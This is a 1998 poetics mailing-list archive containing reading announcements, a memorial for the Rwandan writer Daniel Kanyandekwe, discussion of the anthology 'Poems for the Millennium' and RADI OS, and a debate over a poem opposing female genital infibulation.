The practice of female circumcision is a practice of extreme barbarity. There is no way that any justification can be given to it. It is clearly physically and psychologically extremely damaging to those who suffer it and in a number of ways that even the most unbiased science can clearly prove. No amount of ideological argument can overcome that fact, no matter how twisted the use of ideas and language that attempts to maintain and promote the traditional, the customary, it still remains the same ignorance.

Do we fail at respect for the sufferings of the sufferers of a barbaric practice when we make light of it, joke about it, revert to sarcasm ? Do we make it less of an issue, and less worthy of discussion ? Depending on how a poem is written, does the poetic medium tend to do that also, in some instances ? Do such methods sometimes add to the linguistic quagmire, and thus ignorance ?

The discussion began as a discussion of that ignorance. I began to wonder if we know what freedom is. I began to wonder why we equate freedom with the imposition of suffering, rather than its alleviation, as if belief in freedom essentially ought to be a belief in freeing people to their causing others to suffer unwanted sufferings - such as in the Afghanistani situation, or in the instance of female circumcision. Freedom to oppression, totalism, and barbaric practices, seems as horrible to me as the freedom from food, water, sleep, shelter and love would be. A purely negative and destructive freedom.

A poem as to the barbarity of some practice, might make a difference, if those who suffer that practice become aware of that poem, and begin to see the world differently. If it shows them that their suffering is not necessary, and that the arguments to the contrary need not prevail against Reason. If it shows them that their suffering is not an integral part of who they are, contrary to what their tradition and their elders claim against them. If it shows them that there are more humane, gentler, kinder, better ways to love and live....

There are very few such poems.

....but can a poem change a whole culture ?

There are perhaps no such poems (in the sense of truly positive changes).

Or is there a point where the Reason plus emotion comprising the empathies of the poetic medium, break down as to pragmatism and we must revert to more prosaic means ? Is the poem as liberating as it claims to be, or do we, in such matters need to revert to more liberating means and ways that are more directly and easily understood by those who have no knowledge of poetry as we know it ?

I think the answer is obvious as to the limited function of poetry.

I wonder what people, or what nation, will in fact achieve the bringing of genuine freedoms, to the understanding and practices of the world, and stand against their own tendencies towards traditionalism as well as against the barbaric, horrific, traditionalisms that encroach upon those freedoms in so many parts of the world. Is the United States of America to become that voice, or the United Nations, or both ? Or some other voice crying in the wilderness of too many archaisms, and traditional barbarities, to even take a count of ? The world is very savage, under its thin veneer of civilization, in part because it does not have a clear idea, poetic or prosaic, of freedom.

M.

aka Bob Ezergailis

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636. J. Kuszai
Daniel Kanyandekwe (1963-1997)
Sun 26 Apr 1998

What follows is the text of an invitation, extended over e-mail, to the grad student community at SUNY-Buffalo.

forwarded text (from UB grad, Jim O'Loughlin):

I would like to invite all English graduate students to attend a celebration of the life and work of Daniel Kanyandekwe, a collegue of ours who passed away last year. The celebration will feature readings from Daniel's novels, remembrances of Daniel, and Rwandan food and music. It begins this Sunday at 2:30 at Hallwalls. $5 for students/$10 gen. ad. All proceeds go to Daniel's estate.

I hope all of Daniel's friends will make an effort to attend this event. But even if you didn't know Daniel, please consider attending and learning about this talented author and scholar. His writing was both outrageously funny and poignant. We hope this event will highlight those elements of his work and his life.

(end forwarded text)

Daniel Kanyandekwe left behind a wife and a young child. His wife had come over to the United States recently from Rwanda (around the time of the genocide) and they had been living in south Florida, where Daniel was teaching at a small college. As far as I know, they lost their entire family and she has no relatives in the U.S. Her immigration status is unclear. Hopefully, this situation will be straightened out, but nothing can make up for the loss of Daniel, in his early 30s, to a sudden stroke.

Meow Press has published a chapbook of Daniel's writing, and it will be available today at the memorial. It will also be available, as part of the regular Meow Press series, with all sales to benefit his family. Please, if you can, order this book. Backchannel me if you are interested in contributing to help support this family, now in a precarious position. After today, I should have information about where to send checks, etc.

In the meantime, here is the introduction to the chapbook, by Julie Husband and Jim O'Loughlin, who also edited Daniel's work for this publication:

"Writer, scholar, husband and father, Daniel Kanyandekwe (1963-1997) was also friend to many in Buffalo during the five years he and his family spent here. Arriving from Rwanda in 1992, Daniel began studying in the UB English Department as a Fulbright fellow. During the five years he spent at UB, Daniel not only completed his Ph. D. dissertation, Dreaming of Africa: American Writers and Africa in the Twentieth Century, but wrote four novels, The Last Writer, The Buttocks of the Almighty, Seasons of the Eternal Grooms Death, and The Chronicles of Melancholy.

"This collection offers selections from Daniels last three novels. Influenced by writers including Saul Bellow, Gabriel Garca Mrquez and Ngugi wa Thiongo, Daniel created characters who were both larger than life and devastatingly flawed. An undercurrent of political commentary runs throughout all these novels, which are set in Daniels native Rwanda. In his fiction, Daniel created

worlds of magic and great humor; worlds in which anything could, and did, happen."

I've cut and pasted this text from quark xpress, so my apologies for the failure of some of the above typography. Ok, here is the first paragraph of the selection from _The Buttocks of the Almighty_:

"After the defense of his dissertation, Beatitudinis Philosophiarum Historiae (A Short History of the Philosophies of Happiness), during which defense the greatest Latinist of the Pontifical Gregorian University dies of a heart attack, Father Moses Bazirishuli, S. J., is struck by a severe mental breakdown. Soon, he leaves the Vatican and returns to Kigali, Rwanda, where he settles in a small convent with two other Jesuits, one a Rwandan who is dying of stomach ulcers, the other a Belgian who will eventually die of shame after it has been discovered that the book he reads all night long is not Le Roman de la rose, but the erotic Arabian classic, The Perfumed Garden. After he has lost one testicle to surgery (he has prostate cancer), Moses incurable migraines will finally lead him to a mental asylum. Having been raped by a female patient, he totally loses his mind. Thats when he takes refuge in the prehistoric caves of Mount Kigali with Animus, his faithful dog, whence he will emerge with a mythic phallus on his shoulders, causing the bodyguards of the Patriarch President to shoot the scared mob. Moses (and his dog) will be the only survivors of the civil war that he himself has caused, and from which the United Nations peacekeeping forces, led by the Marines, will flee, only to return when the violence has abated."

Please order this lovely little chapbook. Contact me privately and I will indicate where to send donations. The cost will be $5, but please, if you can, send more.

Thanks for your help.

Joel Kuszai
[redacted]
http://www.acsu.buffalo.edu/~kuszai

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637. **Douglas Barbour**

Re: RADI OS as 'writing through'

Sun 26 Apr 1998

I'm a bit behind, but Henry Gould wrote the other day:

<<Ronald Johnson erases parts of PARADISE LOST in order to produce RADI OS. Was it necessary in order to write ARK? There are serious poets who can't take poetry seriously in an uneraserious era. Or perhaps this was a serious endeavor and I'm being obtuse again.>>

Well, I wouldnt know about the last, but I do know that RADI OS struck me as a wonderfully spiritual poem when I first read it & it remains a favorite. I'd say it was a very serious endeavor. I'd agree with Guy Davenport that it makes Milton feel a lot like Rilke, & to me that's a good thing...

I was wondering, then, if what we're talking about is a kind of rhizomatic effect (or effort): not a separate genre in any way, as Don Byrd pointed out, but a way, a kind of writing withing many genres that can appear anywhere...

==========
Douglas Barbour
Department of English
University of Alberta
Edmonton Alberta T6G 2E5
[redacted] FAX:[redacted]
H: [redacted]
~~~
~~~

think that to cease objecting to what we feel are outrages in other parts of the world will focus any more attention on injustices here. On the contrary. I think that when we accuse others, and then in turn are (often rightfully) accused, we see our crimes much better, which had grown so familiar and habitual. It does strike me as ironic sometimes that the Enlightenment self and its ideals, its emphasis on the rights of the individual, are seen by so many contemporary intellectuals as nothing but a self/suit tailored for the alienation of capitalism. In China, the protesters in Tianemen [sic] square were drawing on those very ideals, as they imagined were held and lived in the U.S. Let me insist on that as irony not nostalgia, as I have seen how many tomes can be filled with an attempt to rescue the Enlightenment Project, how many thousands and thousands of pages, and not succeed.

I apologize for the kind of musing generalities which can occur while one imagines one is talking only to himself, while outside a cool rain is falling.

Mike McColl

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639. **morpheal**
Re: When the West Finds Fault
Sun 26 Apr 1998

> *I apologize for the kind of musing generalities which can occur while one imagines one is talking only to himself, while outside a cool rain is falling.*
> *Mike McColl*

No need to apologize...

...the little sounds disappeared into the noise of the world.

M.

↑ Index

640. **morpheal**
Re: RADI OS as 'writing through'
Sun 26 Apr 1998

> *I'm a bit behind, but Henry Gould wrote the other day:*
> *<<Ronald Johnson erases parts of PARADISE LOST in order to produce RADI OS.*

PARADISE LOST

RADI OS

RADIOS

Of course: Paradise is Lost with the invention of the radio and the opening of that door through which all manner of demons pass into any dwelling. Clearly Marconi, et al, was doing the work of the devil.....<chuckle> That message was hidden there all those years waiting to be discovered by Ron J. who finally decoded it's true intent warning of immanent spiritual perils.

Oh ye, Satanic electronics, what vile perturbations brought forth from electron spirits, emergent from horrid twisted depths of the deepest darkest Silicon Valley abyss, unto fair Albion's once green and pleasant shores....William Blake might have retorted.

M.

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641. **Don Byrd**
The Anthology
Sun 26 Apr 1998

If I had edited _Poems for the Millennium_, I would have included Spicer, and there are other things I would have done differently, but I want to make two quick points to make:

1. If some thing like _Poems for the Millennium_ had been available when I was eighteen, it would have saved me years of work. There was nothing remotely comparable then, and there has not been anything like it until now.

2. One certainly can fault the project for lack of ambition. If it is half successful, it is more than any one could reasonably expect. And by any test, this antholody is more than half successful.

For whatever nit-picking I might do, I want to congratulate Jerry and Pierre on a remarkable accomplishment and to thank them for these beautiful books.

db

--
****
Don Byrd ([redacted], [redacted])
Department of English
State University of New York
Albany, NY 12222
[redacted] (work); [redacted] (home); [redacted] (fax)
The Little Magazine (http://www.albany.edu/~litmag/)
****

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642. **David Baratier**
Howdy
Sun 26 Apr 1998

Howdy. To anyone who might be out there who knows me, I would just like to say that after a long absence I am back on the list. I can be reached at [redacted]_

David Baratier

Also to mention: Pavement Saw Press's next release is _Above the Human Nerve Domain_ by Will Alexander.

↑ Index

643. **Lisa Samuels**
seeking: source of 2 lines
Sun 26 Apr 1998

---

dear superior intelligences,

ok, so i canNOT locate the source of the following lines:

'And up the rosy pathway to her heart
The uncapped pilgrim crept.'

it may be that these lines are in fact not sourceable -- ie, that they are made up. their unreliable narrator attributes them to a romantic poet (byron, as it happens), but a search of databases & books & expert brains has exhausted that possibility -- not to mention me.

if these lines seem familiar & you can point me to their source, you will have my unfailing gratitude and admiration -- as well as the satisfaction of spreading knowledge like a sinking star, etc.

thanks benightedly,

lisa samuels

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644. **Charles Bernstein**
Cecilia Vicuna in Seattle
Sun 26 Apr 1998

A poetry performance

by Cecilia Vicuna

at Washington University,

Padelford B-202

May 5th at 3.30 PM

Seattle

↑ Index

645. Susan Wheeler
NYC Reading
Sun 26 Apr 1998

For those in the environs:

Tuesday, April 28
7:30 p.m.
Barnes & Noble Astor Place
Susan Wheeler reading from SMOKES

Susan Wheeler
[redacted]
voice/fax [redacted]

↑ Index

646. Taylor Brady
Charlemagne Palestine
Sun 26 Apr 1998

Pursuant to the recent discussion of musicians' names in Hannah Weiners' work: In this week's Village Voice, Kyle Gann gives notice that Charlemagne Palestine has apparently returned to musical performance in the U.S. The article, sadly, is not available in the paper's online version -- but there's not much to it anyhow, as it's only a paragraph or two tacked on at the end of a piece on (Buffalo's own) Tony Conrad. Still, there it is, for whatever that may be worth.

-- Taylor Brady
editor, Cartograffiti
http://writing.upenn.edu/AandL/english/pubs/spc/cartograffiti

(a publication of the Small Press Collective)
http://writing.upenn.edu/AandL/english/pubs/spc

<HTML> <BODY TEXT="#000000" BGCOLOR="#FFFFFF" LINK="#003399" VLINK="#006600" ALINK="#FF0000"> Pursuant to the recent discussion of musicians' names in Hannah Weiners' work: In this week's Village Voice, Kyle Gann gives notice that Charlemagne Palestine has apparently returned to musical performance in the U.S. The article, sadly, is not available in the paper's online version -- but there's not much to it anyhow, as it's only a paragraph or two

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<P>-- Taylor Brady

editor, <I>Cartograffiti</I>

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<P>(a publication of the Small Press Collective)

 <A HREF="http://writing.upenn.edu/AandL/english/pubs/spc">http://writing.upenn.edu/AandL/english/pubs/spc</A>
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</HTML>

----------296D84E9BE19FC078F2B8693--

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647. Charles Bernstein
Frank Kuensler reading
Sun 26 Apr 1998

Friends and admirers of the late poet Frank Kuensler read their own poetry and his --

Nick Piombino
Ira Cohen
Gerard Melanga
Michael O'Brien
Serge Gavronsky

Tuesday, April 28, 8pm

Chez Albert
at Clemente Soto Velez
107 Suffolk Street between Delany and Rivington
(F train: Delancy, walk two blocks East toward the Williamsburg Bridge,
turn left on Suffok)
info: [redacted] or [redacted]

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648. **David Clippinger**
Antin Reading
Sun 26 Apr 1998

Thought this might be of interest.

> *---------- Forwarded message ----------*
> *Date: Sun, 26 Apr 1998 13:37:44 EDT*
> *From: BStater <[redacted]>*
> *To: [redacted]*
> *Subject: David & Eleanor Antin at SUNY Stony Brook May 7*
>
> *EVENT ON MAY 7, 1998*
> *MAKING ART*
> *SUNY STONY BROOK*
> *STONY BROOK, NEW YORK*
> *---*
>
> *On May 7 the Humanities Institute at SUNY Stony Brook, in conjunction with the departments of Comparative Literature, Philosophy, Theatre, and Art, and with additional support from the Dean of the School of Arts & Sciences will host a lecture, talk-piece, and film-screening presented by David and Eleanor Antin.*
>
> *MUSIC LESSONS, the centerpiece of the event, is a quirky 46 minute narrative film which tells the story of a girl who is haunted by a demon. Jeannie Quinn, a beautiful anorexic from a working class Southern family, dreams of being a model and a violinist. Unable to afford music lessons, she invokes the glamourous Genevieve, who comes to haunt her mirror and bring her to the brink of musical virtuosity and physical annihilation.*
>
> *Shot in Winston-Salem, North Carolina with grant support from SECCA (the Southeast Center for Contemporary Art) the Rockefeller Foundation, UCSD, and with equipment support and a crew hired in large part from the North Carolina School of the Arts, the work was written, directed, and produced by the Antins with editing assistance from Ila von Hasperg.*
>
> *The event will take place on May 7 in the Humanities Institute seminar room, Melville Library E4340 following the schedule below:*
>
> *11:30: "Making History." Eleanor Antin will deliver a lecture and documentary slide show concerning her work-- particularly focusing on the evolution from her early collage style environmental portraits*

through her movement into performance art and finally concluding with her recent gallery situated filmic installations and movies.

1:45: Break

3:30: MUSIC LESSONS film screening.

4:30: "Making Movies." Following the film, poet and art critic David Antin will provide one of his famous "talk pieces"-- this one described as a philosophical meditation upon the processes involved in generating narrative concepts and issues from the essentially collage structured matter of the filmic medium.

6:00: Reception

David Antin is an internationally renowned poet and art critic, and a sort of amateur philosopher of language, as his three major collections of talks, TALKING AT THE BOUNDARIES (1976), TUNING (1984), and WHAT IT MEANS TO BE AVANT-GARDE (1993) demonstrate. His SELECTED POEMS were published by Sun & Moon press in 1991, and his SELECTED ESSAYS are being prepared for publication by the University of Chicago Press. He is Professor Emeritus at the University of California at San Diego where he teaches Art History, Art Criticism, and Experimental Writing.

Eleanor Antin is a major figure in the art world. Her various performance pieces, installations, and films have received critical attention in Henry Sayre's THE OBJECT OF PERFORMANCE, Broude and Garrard's massive THE POWER OF FEMINIST ART, and many other scholarly works. Articles on her film installations VILNA NIGHTS and MINETTA LANE, A GHOST STORY appear in recent issues of PERFORMING ARTS JOURNAL and MILLENNIUM FILM JOURNAL. She is also the author of BEING ANTINOVA, published by Astro Artz, and ELEANORA ANTINOVA PLAYS, published by Sun & Moon Press. She is a professor at the University of California at San Diego where she teaches Art History and Performance.

For more information contact:
Bruce Stater: [redacted]
or Robert Harvey: [redacted]

For more information about the Humanities Institute go to:
http://www.sunysb.edu/humanities/index.htm

For more information about SUNY Stony Brook go to:
http://www.sunysb.edu/

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649. **Henry Gould**
Re: writing over
Sun 26 Apr 1998

Responding to Doug Barbour: not having read Radi Os, my skeptical comments really WERE obtuse. I guess I would have to be convinced that obvious "writing over" is not a sort of cliche of postmodernism. Postmodernism as the willful/despairing prodigal child of modernism. Without the resources to create, only to rewrite and imitate. An era in opposition to the "certainties" of the modernists, whose artists are serious by being unserious. The era of Criticism and Theory which is passing away as we scribble. (cross out?) - Henry Gould

↑ Index

650. **Stephen Cope**
BEYOND THE PAGE
Sun 26 Apr 1998

For those in the greater Southern California area, here is a bit of news. Hope to see you there, and please pass the word...

Stephen

BEYOND THE PAGE PRESENTS:

FOR IMMEDIATE RELEASE:

What: Beyond the Page kicks off its series of monthly performance and arts events with a poetry reading featuring Ron Silliman and Rae Armantrout.

Where: Faultline Theatre, 3152 5th Avenue (between Thorn and Spruce in Hillcrest), San Diego.

When: Sunday, May 3rd. 4:00 PM.

Contact: Stephen Cope at [redacted] or Joe Ross at [redacted].
E-mail at
[redacted].

RON SILLIMAN , a central figure in the L=A=N=G=U=A=G=E poetry movement, has been writing and publishing poetry and criticism for nearly three decades. In the 1980's, Silliman edited IN THE AMERICAN TREE, a seminal anthology which gathered together close to forty of the most influential American writers of the latter half of this century. For several years, Silliman also served as editor of THE SOCIALIST REVIEW, a major political voice of the American left. David Melnick writes of his work: "Called a 'thraumaturge' ('wonder-worker') by the poet Robert Duncan, Silliman has created a new kind of writing from the simplest materials... The poet confides, describes, extols,

remarks, puns, paints domestic scenes, shyly alludes, records minutiae, leaps to large statements, arouses, repeats. Through it all, a friendly, Northern California sort of personality emerges." Of himself, in a wry tone indicative of his poetry, Silliman writes: "Ron Silliman was a member of 'Rupe's troops' back in the anti-glory days of the Pods' '82 season. A left-handed second baseman who wears trifocals, he has had to settle for publishing 21 books of poetry and criticism, and now 'does theory' in the computer industry. He has been writing the same poem for 24 years." Silliman currently lives in the Philadelphia area, and makes only rare appearances on the West Coast.

RAE ARMANTROUT needs little introduction in the San Diego poetry community. Raised in San Diego, Armantrout received a degree in writing from San Francisco State before moving back to San Diego, where she currently teaches writing at The University of California, San Diego. To date, she has published six books of poetry, and two more are forthcoming: TRUE (a memoir due out in July from Atelos Press), and THE PRETEXT (due out next year from Sun & Moon). Armantrout's work has appeared in numerous journals and anthologies, including IN THE AMERICAN TREE, THE BEST AMERICAN POETRY OF 1988, and THE NORTON ANTHOLOGY OF POSTMODERN AMERICAN POETRY. Armantrout's poetry is lyrically concise, often humorous, and always daring and imaginative. As Elaine Equi puts it: "At a time when much experimental writing has lost at least some of its shock value, Rae Armantrout's [work] could startle even the most jaded reader."

Armantrout and Silliman are internationally recognized figures in contemporary American poetry, and both are lively and engaging readers. Beyond the Page is proud to inaugurate its ongoing performance and arts series with this major literary event.

BEYOND THE PAGE is an independent arts group dedicated to the promotion of experimental and explorative work in contemporary arts. For more information, call: [redacted], [redacted], or e-mail: [redacted].

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651. Clark D Lunberry

CreeleyReading

Sun 26 Apr 1998

Robert
Creeley
reading
at Milwaukee's
Woodland Pattern
(720 E. Locust St.)

Saturday
May 2
8 pm
$6

↑ Index

652. **Peter Quartermain**
Re: That Anthology
Mon 27 Apr 1998

I too have yet to see the second volume, and at Canadian dollar rates it may be somewhat expensive. But frankly I don't give a damn who might be left out -- there's bound to be a zillion such. What was and is so amazing about the first volume is the sheer range of selection, and, well, its absolutely great instructiveness. It's not simply that the book included so many poets who's work I simply did not know at all, because I'd never heard of it at all -- that's a major accomplishment in my book, and I learned how closed my eyes have been not only to those writing in a language other than my own, but also in the language I somewhat absurdly call my my own. But when I turned to familiar names and voices, lo and behold, the selections were not indeed what I expected or would have chosen, and often I found myself as a result rethinking and hence rereading that particular poet. Add to that the really informative juxtapositions and the book turns into what I'd think of as a PERFECT anthology, because it refused to let me sit inside my own complacent knowing.

So I used it as a tectbook in the term just over, to a second-year (sophomore) undergraduate course "Introduction to Poetry" designed for all those poor kids who could not get into the Faculty of Arts elective they wanted -- 56 students, over half of them reluctant and resentful, slouching in their chairs challenging "Teach Me!", made this in many ways the course from hell, since you're trying to teach them, among other things, how to pay attention to their own responses, rather than the institution's imagined ones. Move them off their butts. It was a tough book to teach from, but I enjoyed it, and learned from it. And by the end of the course half those reluctant kids who thought poetry was sissy and a waste of time and nothing to do with the Bottom Line were indeed goggling over the work, talking about it enthusiastically, bringing their favourite poems to the attention of their fellows (rare indeed to do this over Spenser or Wyattor Clare, no matter how great my love of those poets). NO-ONE, and I do mean no-one, by the end of this difficult course -- which is to say, yes, this difficult book -- was fretting over what he or she ought to be saying, or about something called "metrics" which had been drummed into them in high school and freshman English, or worriting that they didn't LIKE all the poems, but instead puzzled over -- and delighted in an awed sort of way -- over Mandelstam,

Mallarme, Ullikummi, Miyasawa Kenji and Edith Sodergran and and and. My Japanese Canadian students gave little discourses on how poems might be translated, and the problems attendant on ideograms; the Quebecois discussed linguistic practices in Francis Ponge; someone SANG Kurt Schwitters, etc etc. Need I go on?

These anthologies -- cetrtainly the first volume, at any rate -- completely redefine and re-vision the work of this century and what it proposes; the commentaries are superbly unostentatious, and the difficult but finally utterly intense pleasures afforded by teaching it are absolutely without parallel in my what? nearly four decades of teaching this usually rather miserable second-year course. Would we had a dozen such anthologies like this -- it truly rethinks the world we think we know.

It made me work, work, work, read read read. If the second volume is a tenth as good then obviously I've got to get it, and I'll go down to the store tomorrow. It doesn't have Spicer? Then I'll xerox an Inuit poem instead.

I don't know, Ron: you certainly set a huge elephant among the pigeons with that (rather heavy-dentured tongue in cheek?) caveat. Made us pay attention, hooray, to something worth attending. Thanks.

And of course, Pierre, Jerry, awed congratulations.

Peter

+ + + +

Pierre's anthology brought more new work to my attention than any comparable endeavor that I have yet encountered.

Just a brief note on waters I thought were under the bridge,

Stephen

ps. Peter: Volume II is as good as Volume I...

↑ Index

654. George Bowering
Re: The Book of Laughter and Forgetting
Mon 27 Apr 1998

> *I thought the personal was the political.*

Well, no, it's not. If you have a personal dislike of rhubarb that is not political. If you start a party that favours rhubarb farmers over rhubarb brokers, that is political.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]

↑ Index

655. morpheal
Re: The Book of Laughter and Forgetting
Mon 27 Apr 1998

> *I thought the personal was the political.*
>
> *Well, no, it's not. If you have a personal dislike of rhubarb that is not political. If you start a party that favours rhubarb farmers over rhubarb brokers, that is political.*

We have legislated today that no rhubarb will be grown, transported, or kept, by any person or organization, and furthermore that no rhubarb is to be prepared, and served in any facility meant for the preparation and serving of foodstuffs.

We do not care that you like rhubarb.

M.

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656. **Charles Bernstein**
Re: [Fwd: Re: Poetry at the White House, Anthologies] (fwd)
Mon 27 Apr 1998

> *The White House event went very well. I was a bit disappointed that the only avant poet there was Charles Bernstein.*

News to me. On Wednesday night I was having dinner with Carolyn Burke, author of the highly recommended Mina Loy biography "Becoming Modern", who gave a lecture on her book the next day for the Poetics Program at UB. Hadn't heard about the White House event till the report surfaced here.

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657. **David Zauhar**
Re: [Fwd: Re: Poetry at the White House, Anthologies] (fwd)
Mon 27 Apr 1998

On Mon, 27 Apr 1998, Charles Bernstein wrote:

> *The White House event went very well. I was a bit disappointed that the only avant poet there was Charles Bernstein.*
>
> *News to me. On Wednesday night I was having dinner with Carolyn Burke, author of the highly recommended Mina Loy biography "Becoming Modern", who gave a lecture on her book the next day for the Poetics Program at UB. Hadn't heard about the White House event till the report surfaced here.*

Wait a minute! On Wednesday night I saw Charles Bernstein coming out of a 7-11 eating a burrito and talking to Elvis (The latter by the way was doing a credible WH Auden impression).

David Zauhar
University of Illinois at Chicago

"I believe that the devil is in these poets. They destroy all universities. And I heard from an old master of Leipsic who had been Magister for 36 years that when he was a young men then did the university stand firm, for there was not a poet within 20 miles."

Epistolae Obscurorum Virorum, ii.46. Quoted in Helen Waddell's _The Wandering Scholars_

↑ Index

658. **Dougolly**
Re: women, torture
Mon 27 Apr 1998

As Morpheal's reading of my 'The Infibulation Ceremony' is such a serious misreading of my poem, I feel bound to reply. To be generous, I think it's sheer depth of concern at such barbaric practices that has created this blindness to what is actually written - the claims that the poem is either complicit with female circumcision or sarcastic dumbfound me. Simply, I am totally against infibulation. The poem arose from my researches into a feminist group of doctors and social workers here in Paris who wrestle with the clandestine infibulation practiced particularly by Francophone West African groups in France. Another group has brought occasional court actions (which I am also in favour of where appropriate), since infibulation is illegal in France. The problem is that it's previously-infibulated mothers who want the operation for their daughters and who think it deeply wrong not to carry it out. The group has to work with incredible tact in clinics to point out infibulation's drawbacks, dangers, and cruelty, hoping by gradual persuasion to change beliefs that have been ingrained for century upon century. As I was doing this research, a friend of my daughter's was working in Somalia to spread anti-infibulation information. There were problems which I should perhaps not publicise here. All this did make it clear to me that insensitivity to local cultures is unproductive in creating social change on this issue. So I do not believe that thinking one's own culture is sort of world-superior is effective either, even though in this respect it clearly is superior. My headnote says that poetry has reached one of its limits. There's no suggestion that attempts actually to get the practice banned have reached their limit at all. But, obviously, no Somalian is going to be affected by my poem, and in any case a Western poem - trapped in its own culture - can't, much as it might like to, penetrate to the heart of the traditional-Islamic beliefs where the problem originates. Since the Western poet is so ineffectual unless he/she becomes an international social worker (or acts courageously like Alice Walker and Pratibha Parmar and makes a film) I go on to explore what a mere poem might usefully do. One of poetry's various effective political roles is to make an issue vivid - in this case, the cruelty and robbing of the feminine birthright through male-dominated religious practices are, I would hope, vivid.

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659. **Mark Prejsnar**
Re: The Book of Absences
Mon 27 Apr 1998

On Fri, 24 Apr 1998, Aviva99999 wrote:

> *In a message dated 98-04-24 11:55:47 EDT, you write:*
>
> *<<*
> *On Fri, 24 Apr 1998, ScoutEW wrote:*
>
> *> Silliman give em a break.. if you think there should be inclusions*
> *> then go edit your own anthology.. >>*
>
> *While I am not interested in arguing with, nor supporting, Silliman's ideas for the poets that should have been included in this Rothenberg/Joris "Poems for the Millenium II" anthology...I find Silliman's tone unnecessarily "blaming." There's room for another anthology by Silliman, or anyone else.*
>
> *The misconception that anthologies can inclusively and comprehensively "represent" a period, a genre, etc., has been around long enough, and has been lamented over long enough, that I think we should retire it.*

I have sympathy with this impulse. At the same time, it can't never be that simple....The Millenium represents an enormous output of resources. "There's always room for" many things in the world of poetry. But the *capital* to manufacture and market and distribute, that's something else again, and the understanding that very few endeavors will get the profile and visibility of an anthology like this, has much to do with severity of critical response. That, plus the monumentality of the set's design and tone; it is hard not to judge it as a "pocket canon." As Golding's brilliant book reminds us, an anthology is never just an anthology. But one this ambitious and sweeping is even more about totality than usual!

That being said, it is brilliant, astonishing, and gives us an amazingly complex and provocative occasion to think about poetries, about where we stand.

And that being said, there is something else: there is less a Will to Canon in this anthology than in most; it is in some respects partisan for a series of tones and missions, and strategies, more than for any slate of poets. That's the significance of the inclusion of the so-called oral poets. In very large part that section "fails" on some very specific level...For reasons I've mentioned before here: like the high school teachers who periodically try to teach lyrics from the likes of Lennon/McCartney or Dylan as on-the-page "poetry" to their classes, the editors have left behind too much of the art and guts of these musician's work; they've fundementally misapprehended what they are doing; they might as well (after all, think of A) have included some Bartok scores. But I wasn't surprised at the "oral" section. It has more meaning for what it is trying to demonstrate about directions, than for the quality of the work, as given on the page. This is always the problem (one of 'em) with ethnopoetix; it is also always its promise (..the promise of very unexpected directions..)

Thus, both inclusions and exclusions are in cases flawed; even very very flawed. It is surprising how little difference this makes. In some respects the work relates as much to America a Prophecy as it does to American Tree or Pomo Norton...It is meant to be (and is) visionary. Perloff I think it is, (who else?) who makes the provocative suggestion that A Prophecy is better thought of as parallel to the Cantos, than as an anthology as we normally mean the word. A poem. Some of the same intent is here.

Mark Prejsnar
@lanta

↑ Index

660. Joe Amato/Kass Fleisher
Re: That Anthology
Mon 27 Apr 1998

---

i've been wanting to wait until i had volume two in hand before i posted in on this thread... but peter q's post draws me out early, in part b/c it's clear at this point, from everything posted thus far, that ron's complaint---though i like spicer and lennon & mccartney and (ron too!) and on & on---likely misses the mark (sorry ron)... not having volume two in hand, this is a bit presumptuous on my part... but one way to understand what i'm saying is to have a look at the classroom, as peter has done (don b indicated as much)...

when i opened volume one my eyeballs damn near popped out of my head---this was an exercise in humility (you'll forgive me the christian overtones)... and having used this volume as a sort of prompt in my creative writing class this past semester, i can attest to its usefulness with students, most of whom begin with no idea why anyone would even BOTHER toying with words (i have no majors---all of my students this semester are aspiring engineers/science/architecture majors)... mind you: i have to use a text that appeals to white kids, to black kids, to latino kids, to asian kids... to women and to men... to international students... to kids from the upper-classes, middle classes, and working classes...

some of you will no doubt find this an all-too-easy nod in directions mulicultural... but hey, guess what?---jerry and pierre's book WORKS in this context... it answers to the *stated* desires, on the part of some of these students anyway, that they read writing from what they identify as their respective cultures/niches... and through its juxtapositions, it illustrates how these various cultural products are both different and similar---a necessary lesson in understanding oneself, locally and globally...

but it's not just that the book has been great in the classroom---again, MY eyeballs damn near etc... i found MYself ashamed of MY global illiteracy (as 'twere), and though i am surely no exemplar of cultivation, i think it fair and

necessary to observe that, twixt text and commentary, any poet picking up this book is bound to learn a good deal...

great work, guyz!...

eagerly awaiting volume two///

best,

joe

↑ Index

661. **Annie Finch**
juxtaposed-formalist reading in Chicago
Mon 27 Apr 1998

Another reading announcement:

Wednesday April 29 at 6 PM at the Chicago Art Institute's Poetry Center

Debra Bruce will be reading with me, John Frederick Nims, and oral-based performance poet Cin Salach. It's a start--a broader spectrum of formalist poets than is usually included (anywhere).

Annie

_____
_____
_____
Annie Finch
http://muohio.edu/~finchar
Assistant Professor of English/Creative Writing
Miami University
Oxford, Ohio 45220

↑ Index

662. **morpheal**
Re: women, torture
Mon 27 Apr 1998

> *My headnote says that poetry has reached one of its limits. There's no suggestion that attempts actually to get the practice banned have reached their limit at all. But, obviously, no Somalian is going to be affected by my poem, and in any case a Western poem - trapped in its own culture - can't, much as it might like to, penetrate to the heart of the traditional-Islamic beliefs where the problem originates.*

Interesting comment and right on target.

To traditionalist Islamic believers, as far as I know, your poem is Satanic and would be awoved to have the exact opposite effect that you claim for it. The very use of a western style poem makes your opinion wrong in their viewpoint.

Wierd logic, but as far as I know, that logic holds true in their system.

M.

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663. **Judy Roitman**

Re: women, torture, tradition, style

Mon 27 Apr 1998

> *To traditionalist Islamic believers, as far as I know, your poem is Satanic and would be awoved to have the exact opposite effect that you claim for it. The very use of a western style poem makes your opinion wrong in their viewpoint.*
>
> *Wierd logic, but as far as I know, that logic holds true in their system.*
>
> *M.*

I think both Islam and tradition are getting a bad rap here. Not every traditionalist Islamic believer believes in female genital mutilation. And _which_ tradition? There is a tendency to pretend that only the most rigid belief/behavior systems have roots in tradition. But many of these represent quite radical shifts from long-standing less rigid traditions --- for example, what is going on in Afghanistan right now is a radical shift from local practice.

I also question the interpretation of "the very use of a western style poem," but will leave that to others who know more about cross-cultural borrowings.

---------- Judy Roitman
| "Whoppers Whoppers Whoppers! Math, University of Kansas | memory fails Lawrence, KS 66045 | these are the days." [redacted]
| fax: [redacted] | Larry Eigner, 1927-1996
---------- Note new area code
----
http://www.math.ukans.edu/~roitman/

↑ Index

664. **ken|n|ing**
Re: The Book of Absences
Mon 27 Apr 1998

